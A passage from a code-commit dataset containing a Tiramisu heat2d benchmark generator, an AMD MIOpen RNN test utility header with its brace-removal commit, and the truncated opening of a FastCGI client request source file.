heat2d_s1_r__x_loop_min = 0 and heat2d_s1_r__x_loop_extent%8=0 and heat2d_s0_y_loop_min = 0 and heat2d_s0_y_loop_extent%8=0 and heat2d_s0_x_loop_min=0 and heat2d_s0_x_loop_extent%8=0}\");\n\n    \/\/ Define compute level for \"heat2d\".\n    heat2d_s1.after(heat2d_s0, computation::root);\n\n    \/\/ Declare vars.\n    tiramisu::var heat2d_s0_x(\"heat2d_s0_x\");\n    tiramisu::var heat2d_s0_y(\"heat2d_s0_y\");\n    tiramisu::var heat2d_s1_r__x(\"heat2d_s1_r__x\");\n    tiramisu::var heat2d_s1_r__y(\"heat2d_s1_r__y\");\n\n    \/\/ Add schedules.\n    heat2d_s0.tag_parallel_level(heat2d_s0_y);\n    heat2d_s0.vectorize(heat2d_s0_x, 8);\n    heat2d_s1.tag_parallel_level(heat2d_s1_r__y);\n    heat2d_s1.vectorize(heat2d_s1_r__x, 8);\n\n    heat2d_tiramisu.set_arguments({&buff_input, &buff_heat2d});\n    heat2d_tiramisu.gen_time_space_domain();\n    heat2d_tiramisu.gen_isl_ast();\n    heat2d_tiramisu.gen_halide_stmt();\n    heat2d_tiramisu.dump_halide_stmt();\n    heat2d_tiramisu.gen_halide_obj(\"build\/generated_fct_heat2d.o\");\n\n    return 0;\n}\n<commit_msg>fix benchmark<commit_after>#include <isl\/set.h>\n#include <isl\/union_map.h>\n#include <isl\/union_set.h>\n#include <isl\/ast_build.h>\n#include <isl\/schedule.h>\n#include <isl\/schedule_node.h>\n\n#include <tiramisu\/debug.h>\n#include <tiramisu\/core.h>\n\n#include <string.h>\n#include <Halide.h>\n#include \"halide_image_io.h\"\n\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n    \/\/ Set default tiramisu options.\n    global::set_default_tiramisu_options();\n\n    tiramisu::function heat2d_tiramisu(\"heat2d_tiramisu\");\n\n    \/\/ Input params.\n    float alpha = 0.3;\n    float beta = 0.4;\n\n    int SIZE0 = 10000;\n    int SIZE1 = 10000;\n\n    \/\/ Output buffers.\n    int heat2d_extent_1 = SIZE1;\n    int heat2d_extent_0 = SIZE0;\n    tiramisu::buffer buff_heat2d(\"buff_heat2d\", {tiramisu::expr(heat2d_extent_1), tiramisu::expr(heat2d_extent_0)}, tiramisu::p_float32, tiramisu::a_output, &heat2d_tiramisu);\n\n    \/\/ Input buffers.\n    int input_extent_1 = SIZE1;\n    int input_extent_0 = SIZE0;\n    tiramisu::buffer buff_input(\"buff_input\", {tiramisu::expr(input_extent_1), tiramisu::expr(input_extent_0)}, tiramisu::p_float32, tiramisu::a_input, &heat2d_tiramisu);\n    tiramisu::computation input(\"[input_extent_1, input_extent_0]->{input[i1, i0]: (0 <= i1 <= (input_extent_1 + -1)) and (0 <= i0 <= (input_extent_0 + -1))}\", expr(), false, tiramisu::p_float32, &heat2d_tiramisu);\n    input.set_access(\"{input[i1, i0]->buff_input[i1, i0]}\");\n\n\n    \/\/ Define loop bounds for dimension \"heat2d_s0_y\".\n    tiramisu::constant heat2d_s0_y_loop_min(\"heat2d_s0_y_loop_min\", tiramisu::expr((int32_t)0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s0_y_loop_extent(\"heat2d_s0_y_loop_extent\", tiramisu::expr(heat2d_extent_1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n\n    \/\/ Define loop bounds for dimension \"heat2d_s0_x\".\n    tiramisu::constant heat2d_s0_x_loop_min(\"heat2d_s0_x_loop_min\", tiramisu::expr((int32_t)0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s0_x_loop_extent(\"heat2d_s0_x_loop_extent\", tiramisu::expr(heat2d_extent_0), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::computation heat2d_s0(\"[heat2d_s0_y_loop_min, heat2d_s0_y_loop_extent, heat2d_s0_x_loop_min, heat2d_s0_x_loop_extent]->{heat2d_s0[heat2d_s0_y, heat2d_s0_x]: \"\n                        \"(heat2d_s0_y_loop_min <= heat2d_s0_y <= ((heat2d_s0_y_loop_min + heat2d_s0_y_loop_extent) + -1)) and (heat2d_s0_x_loop_min <= heat2d_s0_x <= ((heat2d_s0_x_loop_min + heat2d_s0_x_loop_extent) + -1))}\",\n                        tiramisu::expr((float)0), true, tiramisu::p_float32, &heat2d_tiramisu);\n    heat2d_s0.set_access(\"{heat2d_s0[heat2d_s0_y, heat2d_s0_x]->buff_heat2d[heat2d_s0_y, heat2d_s0_x]}\");\n\n    \/\/ Define loop bounds for dimension \"heat2d_s1_r__y\".\n    tiramisu::constant heat2d_s1_r__y_loop_min(\"heat2d_s1_r__y_loop_min\", tiramisu::expr((int32_t)1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s1_r__y_loop_extent(\"heat2d_s1_r__y_loop_extent\", (tiramisu::expr(input_extent_1) + tiramisu::expr((int32_t)-2)), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n\n    \/\/ Define loop bounds for dimension \"heat2d_s1_r__x\".\n    tiramisu::constant heat2d_s1_r__x_loop_min(\"heat2d_s1_r__x_loop_min\", tiramisu::expr((int32_t)1), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::constant heat2d_s1_r__x_loop_extent(\"heat2d_s1_r__x_loop_extent\", (tiramisu::expr(input_extent_0) + tiramisu::expr((int32_t)-2)), tiramisu::p_int32, true, NULL, 0, &heat2d_tiramisu);\n    tiramisu::computation heat2d_s1(\n        \"[heat2d_s1_r__y_loop_min, heat2d_s1_r__y_loop_extent, heat2d_s1_r__x_loop_min, heat2d_s1_r__x_loop_extent]->{heat2d_s1[heat2d_s1_r__y, heat2d_s1_r__x]: \"\n        \"(heat2d_s1_r__y_loop_min <= heat2d_s1_r__y <= ((heat2d_s1_r__y_loop_min + heat2d_s1_r__y_loop_extent) + -1)) and (heat2d_s1_r__x_loop_min <= heat2d_s1_r__x <= ((heat2d_s1_r__x_loop_min + heat2d_s1_r__x_loop_extent) + -1))}\",\n        tiramisu::expr(), true, tiramisu::p_float32, &heat2d_tiramisu);\n    heat2d_s1.set_expression(((tiramisu::expr(alpha) * input(tiramisu::var(\"heat2d_s1_r__y\"), tiramisu::var(\"heat2d_s1_r__x\"))) + (tiramisu::expr(beta) * (((input(tiramisu::var(\"heat2d_s1_r__y\"), (tiramisu::var(\"heat2d_s1_r__x\") + tiramisu::expr((int32_t)1))) + input(tiramisu::var(\"heat2d_s1_r__y\"), (tiramisu::var(\"heat2d_s1_r__x\") - tiramisu::expr((int32_t)1)))) + input((tiramisu::var(\"heat2d_s1_r__y\") + tiramisu::expr((int32_t)1)), tiramisu::var(\"heat2d_s1_r__x\"))) + input((tiramisu::var(\"heat2d_s1_r__y\") - tiramisu::expr((int32_t)1)), tiramisu::var(\"heat2d_s1_r__x\"))))));\n    heat2d_s1.set_access(\"{heat2d_s1[heat2d_s1_r__y, heat2d_s1_r__x]->buff_heat2d[heat2d_s1_r__y, heat2d_s1_r__x]}\");\n\n    heat2d_tiramisu.add_context_constraints(\"[heat2d_s1_r__y_loop_min, heat2d_s1_r__y_loop_extent, heat2d_s1_r__x_loop_min, heat2d_s1_r__x_loop_extent]->{heat2d_s1_r__y_loop_min = 0 and heat2d_s1_r__y_loop_extent%8=0 and heat2d_s1_r__x_loop_min = 0 and heat2d_s1_r__x_loop_extent%8=0 and heat2d_s0_y_loop_min = 0 and heat2d_s0_y_loop_extent%8=0 and heat2d_s0_x_loop_min=0 and heat2d_s0_x_loop_extent%8=0}\");\n\n    \/\/ Define compute level for \"heat2d\".\n    heat2d_s1.after(heat2d_s0, computation::root);\n\n    \/\/ Declare vars.\n    tiramisu::var heat2d_s0_x(\"heat2d_s0_x\");\n    tiramisu::var heat2d_s0_y(\"heat2d_s0_y\");\n    tiramisu::var heat2d_s1_r__x(\"heat2d_s1_r__x\");\n    tiramisu::var heat2d_s1_r__y(\"heat2d_s1_r__y\");\n\n    \/\/ Add schedules.\n    heat2d_s0.tag_parallel_level(heat2d_s0_y);\n    heat2d_s0.vectorize(heat2d_s0_x, 8);\n    heat2d_s1.tag_parallel_level(heat2d_s1_r__y);\n    heat2d_s1.vectorize(heat2d_s1_r__x, 8);\n\n    heat2d_tiramisu.set_arguments({&buff_input, &buff_heat2d});\n    heat2d_tiramisu.gen_time_space_domain();\n    heat2d_tiramisu.gen_isl_ast();\n    heat2d_tiramisu.gen_halide_stmt();\n    heat2d_tiramisu.dump_halide_stmt();\n    heat2d_tiramisu.gen_halide_obj(\"build\/generated_fct_heat2d.o\");\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n\n#ifndef MIOPEN_RNN_UTIL_H_\n#define MIOPEN_RNN_UTIL_H_\n\n#include <cfloat>\n#include <cmath>\n#include <initializer_list>\n#include <set>\n#include <vector>\n#include <cstdlib>\n\n#define RNN_MM_TRANSPOSE 1\n\n\/\/ RNN VANILLA configs\ninline std::vector<int> get_rnn_num_layers()\n{\n    \/\/ return {{1, 5, 20}};\n    return {{1, 19}};\n}\n\ninline std::vector<int> get_rnn_batchSize()\n{\n    \/\/ return {128};\n    return {{31, 127}};\n}\n\ninline std::vector<int> get_rnn_seq_len()\n{\n    \/\/ return {50};\n    return {{3, 51}};\n}\n\ninline std::vector<int> get_rnn_vector_len()\n{\n    \/\/ return {32};\n    return {{5, 31}};\n}\n\ninline std::vector<int> get_rnn_hidden_size()\n{\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n    return {{65, 127}};\n}\n\n\/\/ LSTM configs\ninline std::vector<int> get_lstm_num_layers() { return {{1, 5}}; }\n\ninline std::vector<int> get_lstm_batchSize()\n{\n    \/\/ return {16};\n    return {{53}};\n}\n\ninline std::vector<int> get_lstm_seq_len()\n{\n    return {25};\n    \/\/ return {{2, 50}};\n}\n\ninline std::vector<int> get_lstm_vector_len()\n{\n    return {17};\n    \/\/ return {{4, 32}};\n}\n\ninline std::vector<int> get_lstm_hidden_size()\n{\n    return {67};\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n}\n\n\/\/ GRU configs\ninline std::vector<int> get_gru_num_layers() { return {{1, 5}}; }\n\ninline std::vector<int> get_gru_batchSize()\n{\n    \/\/ return {16};\n    return {{53}};\n}\n\ninline std::vector<int> get_gru_seq_len()\n{\n    return {23};\n    \/\/ return {{2, 50}};\n}\n\ninline std::vector<int> get_gru_vector_len()\n{\n    return {13};\n    \/\/ return {{4, 32}};\n}\n\ninline std::vector<int> get_gru_hidden_size()\n{\n    return {67};\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n}\n\ninline std::vector<std::vector<int>> generate_batchSeq(const int batchSize, const int seqLength)\n{\n\n    int modval = 3;\n    srand(modval);\n    int currentval = batchSize;\n    std::vector<int> batchSeq;\n    for(int i = 0; i < seqLength; i++)\n    {\n        if(i > 0)\n        {\n            int nvalue = currentval - rand() % modval;\n            currentval = (nvalue < 1) ? 1 : nvalue;\n            \/\/ printf(\"current value: %d\\n\", currentval);\n        }\n        \/\/ printf(\"adding a value to batch sequence: %d\\n\", currentval);\n        batchSeq.push_back(currentval);\n    }\n    return {batchSeq};\n}\n\ninline int sumvc(std::vector<int>& x)\n{\n    int sum = 0;\n    for(int i = 0; i < x.size(); i++)\n    {\n        sum += x[i];\n    }\n    return sum;\n}\n\ninline float activfunc(float x, int actvf)\n{\n    float alpha = 1, beta0 = 0, beta1 = 1;\n    if(actvf == 0)\n    {\n        \/\/        float y = 0;\n        \/\/        return std::max(x, y);\n        return (x > 0) ? x : x * beta0;\n    }\n    else if(actvf == 2)\n    {\n        return 1 \/ (1 + exp(-x));\n    }\n\n    \/\/    return tanh(x);\n    return alpha * tanh(beta1 * x);\n}\n\ninline float dervactivfunc(float x, int actvf)\n{\n    if(actvf == 0)\n    {\n        return (x > 0 ? 1 : 0);\n    }\n    else if(actvf == 2)\n    {\n        return exp(-x) \/ (1 + exp(-x)) \/ (1 + exp(-x));\n    }\n\n    return 1 \/ cosh(x) \/ cosh(x);\n}\n\ntemplate <typename Dtype>\nvoid RNN_mm_cpu(const Dtype* a_ptr,\n                size_t a_cols,\n                size_t a_rows,\n                size_t a_stride,\n                int a_flags,\n                const Dtype* b_ptr,\n                size_t b_cols,\n                size_t b_rows,\n                size_t b_stride,\n                int b_flags,\n                Dtype* c_ptr,\n                size_t c_cols,\n                size_t c_rows,\n                size_t c_stride,\n                int \/*c_flags*\/,\n                double d_alpha,\n                double d_beta)\n{\n\n    Dtype alpha = Dtype(d_alpha);\n    Dtype beta  = Dtype(d_beta);\n    if((!(a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_cols != b_rows) || (a_rows != c_rows) || (b_cols != c_cols))) ||\n       ((a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_rows != b_cols) || (a_cols != c_rows) || (b_rows != c_cols))) ||\n       ((a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_rows != b_rows) || (a_cols != c_rows) || (b_cols != c_cols))) ||\n       (!(a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_cols != b_cols) || (a_rows != c_rows) || (b_rows != c_cols))))\n    {\n        printf(\"MM_CPU ERROR; %zd %zd   %zd %zd   %zd %zd\\n\",\n               a_cols,\n               a_rows,\n               b_cols,\n               b_rows,\n               c_rows,\n               c_cols);\n        return;\n    }\n\n    size_t inner_loop = (!(a_flags & RNN_MM_TRANSPOSE)) ? a_cols : a_rows;\n\n    if(!(a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[n * a_stride + m] * b_ptr[m * b_stride + k];\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else if((a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[m * a_stride + n] * b_ptr[m * b_stride + k];\n#if 0\n\t\t\t\t\tif (\n\t\t\t\t\t\t(n == 0 && k == 33\n\t\t\t\t\t\t|| n == 1 && k == 32\n\t\t\t\t\t\t|| n == 3 && k == 1\n\t\t\t\t\t\t|| n == 4 && k == 0\n\n\t\t\t\t\t\t)\n\t\t\t\t\t\t&& a_ptr[m*a_stride + n] * b_ptr[m*b_stride + k] != 0\n\t\t\t\t\t\t)\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"C:mm:%d %d %d   %11.9f %11.9f %11.9f %11.9f\\n\",\n\t\t\t\t\t\t\tn, k, m,\n\t\t\t\t\t\t\tmm_e, a_ptr[m*a_stride + n], b_ptr[m*b_stride + k], a_ptr[m*a_stride + n] * b_ptr[m*b_stride + k]);\n\t\t\t\t\t}\n#endif\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else if(!(a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[n * a_stride + m] * b_ptr[k * b_stride + m];\n#if 0\n\t\t\t\t\tif (n == 0 && k == 6 && a_ptr[n*a_stride + m] * b_ptr[k*b_stride + m] != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"%4d  %11.9f %11.9f %11.9f\\n\", m, mm_e, a_ptr[n*a_stride + m], b_ptr[k*b_stride + m]);\n\t\t\t\t\t}\n#endif\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    c_ptr[n * c_stride + k] += a_ptr[m * a_stride + n] * b_ptr[k * b_stride + m];\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n}\n\n#endif\n<commit_msg>Removed curly braces<commit_after>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n\n#ifndef MIOPEN_RNN_UTIL_H_\n#define MIOPEN_RNN_UTIL_H_\n\n#include <cfloat>\n#include <cmath>\n#include <initializer_list>\n#include <set>\n#include <vector>\n#include <cstdlib>\n\n#define RNN_MM_TRANSPOSE 1\n\n\/\/ RNN VANILLA configs\ninline std::vector<int> get_rnn_num_layers()\n{\n    \/\/ return {{1, 5, 20}};\n    return {{1, 19}};\n}\n\ninline std::vector<int> get_rnn_batchSize()\n{\n    \/\/ return {128};\n    return {{31, 127}};\n}\n\ninline std::vector<int> get_rnn_seq_len()\n{\n    \/\/ return {50};\n    return {{3, 51}};\n}\n\ninline std::vector<int> get_rnn_vector_len()\n{\n    \/\/ return {32};\n    return {{5, 31}};\n}\n\ninline std::vector<int> get_rnn_hidden_size()\n{\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n    return {{65, 127}};\n}\n\n\/\/ LSTM configs\ninline std::vector<int> get_lstm_num_layers() { return {{1, 5}}; }\n\ninline std::vector<int> get_lstm_batchSize()\n{\n    \/\/ return {16};\n    return {53};\n}\n\ninline std::vector<int> get_lstm_seq_len()\n{\n    return {25};\n    \/\/ return {{2, 50}};\n}\n\ninline std::vector<int> get_lstm_vector_len()\n{\n    return {17};\n    \/\/ return {{4, 32}};\n}\n\ninline std::vector<int> get_lstm_hidden_size()\n{\n    return {67};\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n}\n\n\/\/ GRU configs\ninline std::vector<int> get_gru_num_layers() { return {{1, 5}}; }\n\ninline std::vector<int> get_gru_batchSize()\n{\n    \/\/ return {16};\n    return {53};\n}\n\ninline std::vector<int> get_gru_seq_len()\n{\n    return {23};\n    \/\/ return {{2, 50}};\n}\n\ninline std::vector<int> get_gru_vector_len()\n{\n    return {13};\n    \/\/ return {{4, 32}};\n}\n\ninline std::vector<int> get_gru_hidden_size()\n{\n    return {67};\n    \/\/ return {{16,64,128,256,1760,2048,2560}};\n}\n\ninline std::vector<std::vector<int>> generate_batchSeq(const int batchSize, const int seqLength)\n{\n\n    int modval = 3;\n    srand(modval);\n    int currentval = batchSize;\n    std::vector<int> batchSeq;\n    for(int i = 0; i < seqLength; i++)\n    {\n        if(i > 0)\n        {\n            int nvalue = currentval - rand() % modval;\n            currentval = (nvalue < 1) ? 1 : nvalue;\n            \/\/ printf(\"current value: %d\\n\", currentval);\n        }\n        \/\/ printf(\"adding a value to batch sequence: %d\\n\", currentval);\n        batchSeq.push_back(currentval);\n    }\n    return {batchSeq};\n}\n\ninline int sumvc(std::vector<int>& x)\n{\n    int sum = 0;\n    for(int i = 0; i < x.size(); i++)\n    {\n        sum += x[i];\n    }\n    return sum;\n}\n\ninline float activfunc(float x, int actvf)\n{\n    float alpha = 1, beta0 = 0, beta1 = 1;\n    if(actvf == 0)\n    {\n        \/\/        float y = 0;\n        \/\/        return std::max(x, y);\n        return (x > 0) ? x : x * beta0;\n    }\n    else if(actvf == 2)\n    {\n        return 1 \/ (1 + exp(-x));\n    }\n\n    \/\/    return tanh(x);\n    return alpha * tanh(beta1 * x);\n}\n\ninline float dervactivfunc(float x, int actvf)\n{\n    if(actvf == 0)\n    {\n        return (x > 0 ? 1 : 0);\n    }\n    else if(actvf == 2)\n    {\n        return exp(-x) \/ (1 + exp(-x)) \/ (1 + exp(-x));\n    }\n\n    return 1 \/ cosh(x) \/ cosh(x);\n}\n\ntemplate <typename Dtype>\nvoid RNN_mm_cpu(const Dtype* a_ptr,\n                size_t a_cols,\n                size_t a_rows,\n                size_t a_stride,\n                int a_flags,\n                const Dtype* b_ptr,\n                size_t b_cols,\n                size_t b_rows,\n                size_t b_stride,\n                int b_flags,\n                Dtype* c_ptr,\n                size_t c_cols,\n                size_t c_rows,\n                size_t c_stride,\n                int \/*c_flags*\/,\n                double d_alpha,\n                double d_beta)\n{\n\n    Dtype alpha = Dtype(d_alpha);\n    Dtype beta  = Dtype(d_beta);\n    if((!(a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_cols != b_rows) || (a_rows != c_rows) || (b_cols != c_cols))) ||\n       ((a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_rows != b_cols) || (a_cols != c_rows) || (b_rows != c_cols))) ||\n       ((a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_rows != b_rows) || (a_cols != c_rows) || (b_cols != c_cols))) ||\n       (!(a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE) &&\n        ((a_cols != b_cols) || (a_rows != c_rows) || (b_rows != c_cols))))\n    {\n        printf(\"MM_CPU ERROR; %zd %zd   %zd %zd   %zd %zd\\n\",\n               a_cols,\n               a_rows,\n               b_cols,\n               b_rows,\n               c_rows,\n               c_cols);\n        return;\n    }\n\n    size_t inner_loop = (!(a_flags & RNN_MM_TRANSPOSE)) ? a_cols : a_rows;\n\n    if(!(a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[n * a_stride + m] * b_ptr[m * b_stride + k];\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else if((a_flags & RNN_MM_TRANSPOSE) && !(b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[m * a_stride + n] * b_ptr[m * b_stride + k];\n#if 0\n\t\t\t\t\tif (\n\t\t\t\t\t\t(n == 0 && k == 33\n\t\t\t\t\t\t|| n == 1 && k == 32\n\t\t\t\t\t\t|| n == 3 && k == 1\n\t\t\t\t\t\t|| n == 4 && k == 0\n\n\t\t\t\t\t\t)\n\t\t\t\t\t\t&& a_ptr[m*a_stride + n] * b_ptr[m*b_stride + k] != 0\n\t\t\t\t\t\t)\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"C:mm:%d %d %d   %11.9f %11.9f %11.9f %11.9f\\n\",\n\t\t\t\t\t\t\tn, k, m,\n\t\t\t\t\t\t\tmm_e, a_ptr[m*a_stride + n], b_ptr[m*b_stride + k], a_ptr[m*a_stride + n] * b_ptr[m*b_stride + k]);\n\t\t\t\t\t}\n#endif\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else if(!(a_flags & RNN_MM_TRANSPOSE) && (b_flags & RNN_MM_TRANSPOSE))\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    mm_e += a_ptr[n * a_stride + m] * b_ptr[k * b_stride + m];\n#if 0\n\t\t\t\t\tif (n == 0 && k == 6 && a_ptr[n*a_stride + m] * b_ptr[k*b_stride + m] != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"%4d  %11.9f %11.9f %11.9f\\n\", m, mm_e, a_ptr[n*a_stride + m], b_ptr[k*b_stride + m]);\n\t\t\t\t\t}\n#endif\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n    else\n    {\n        for(size_t n = 0; n < c_rows; ++n)\n        {\n            for(size_t k = 0; k < c_cols; ++k)\n            {\n                Dtype mm_e = 0;\n                for(size_t m = 0; m < inner_loop; ++m)\n                {\n                    c_ptr[n * c_stride + k] += a_ptr[m * a_stride + n] * b_ptr[k * b_stride + m];\n                }\n                c_ptr[n * c_stride + k] = beta * c_ptr[n * c_stride + k] + alpha * mm_e;\n            }\n        }\n    }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * High level FastCGI client.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"Request.hxx\"\n#include \"Stock.hxx\"\n#include \"Client.hxx\"\n#include \"http_response.hxx\"\n#include \"lease.hxx\"\n#include \"tcp_stock.hxx\"\n#include \"stock\/Stock.hxx\"\n#include \"stock\/Item.hxx\"\n#include \"spawn\/ChildOptions.hxx\"\n#include \"istream\/istream.hxx\"\n#include \"async.hxx\"\n#include \"pool.hxx\"\n#include \"util\/Cast.hxx\"\n#include \"util\/ConstBuffer.hxx\"\n\n#include <daemon\/log.h>\n\n#include <sys\/socket.h>\n#include <errno.h>\n#include <string.h>\n#include <unistd.h>\n\nstruct FcgiRequest final : Lease {\n    struct pool &pool;\n\n    StockItem *stock_item;\n\n    struct async_operation operation;\n    struct async_operation_ref async_ref;\n\n    FcgiRequest(struct pool &_pool, StockItem &_stock_item)\n        :pool(_pool), stock_item(&_stock_item) {\n        operation.Init2<FcgiRequest>();\n    }\n\n    void Abort() {\n        if (stock_item != nullptr)\n            fcgi_stock_aborted(*stock_item);\n\n        async_ref.Abort();\n    }\n\n    \/* virtual methods from class Lease *\/\n    void ReleaseLease(bool reuse) override {\n        stock_item->Put(!reuse);\n        stock_item = nullptr;\n    }\n};\n\nvoid\nfcgi_request(struct pool *pool, EventLoop &event_loop,\n             FcgiStock *fcgi_stock,\n             const ChildOptions &options,\n             const char *action,\n             const char *path,\n             ConstBuffer<const char *> args,\n             http_method_t method, const char *uri,\n             const char *script_name, const char *path_info,\n             const char *query_string,\n             const char *document_root,\n             const char *remote_addr,\n             const StringMap &headers, Istream *body,\n             ConstBuffer<const char *> params,\n             int stderr_fd,\n             HttpResponseHandler &handler,\n             struct async_operation_ref &async_ref)\n{\n    if (action == nullptr)\n        action = path;\n\n    GError *error = nullptr;\n    StockItem *stock_item =\n        fcgi_stock_get(fcgi_stock, pool, options,\n                       action,\n                       args,\n                       &error);\n    if (stock_item == nullptr) {\n        if (body != nullptr)\n            body->CloseUnused();\n\n        if (stderr_fd >= 0)\n            close(stderr_fd);\n\n        handler.InvokeError(error);\n        return;\n    }\n\n    auto request = NewFromPool<FcgiRequest>(*pool, *pool, *stock_item);\n\n    async_ref.Set(request->operation);\n\n    const char *script_filename = 